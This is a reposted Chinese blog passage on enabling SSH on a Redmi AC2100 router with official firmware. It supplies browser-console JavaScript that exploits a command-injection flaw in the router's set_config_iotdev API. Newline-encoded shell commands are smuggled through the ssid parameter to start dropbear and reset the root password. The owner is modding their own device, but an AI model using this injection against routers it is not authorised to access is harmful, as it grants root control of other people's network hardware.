- 开启SSH权限。F12打开浏览器的开发者模式,并切换至终端选项卡,复制以下代码至终端处,并敲回车执行:
function getSTOK() {
let match = location.href.match(/;stok=(.*?)\//);
if (!match) {
return null;
}
return match[1];
}
function execute(stok, command) {
command = encodeURIComponent(command);
let path = /cgi-bin/luci/;stok=${stok}/api/misystem/set_config_iotdev?bssid=SteelyWing&user_id=SteelyWing&ssid=-h%0A${command}%0A
;
console.log(path);
return fetch(new Request(location.origin + path));
}
function enableSSH() {
stok = getSTOK();
if (!stok) {
console.error('stok not found in URL');
return;
}
console.log(stok = "${stok}"
);
password = prompt('Input new SSH password');
if (!password) {
console.error('You must input password');
return;
}
execute(stok,
nvram set ssh_en=1
nvram commit
sed -i 's/channel=.*/channel=\\"debug\\"/g' /etc/init.d/dropbear
/etc/init.d/dropbear start
)
.then((response) => response.text())
.then((text) => console.log(text));
console.log('New SSH password: ' + password);
execute(stok, echo -e "${password}\\n${password}" | passwd root
)
.then((response) => response.text())
.then((text) => console.log(text));
}
enableSSH();
此时会弹出一个对话框,要求输入密码,请输入并记住这个密码,敲回车提交。
Original: https://www.cnblogs.com/wx2020/p/16028098.html
Author: wx2020
Title: Redmi AC2100 路由器 官方固件允许IPv6外网访问下游设备
原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/578938/
转载文章受原作者版权保护。转载请注明原作者出处!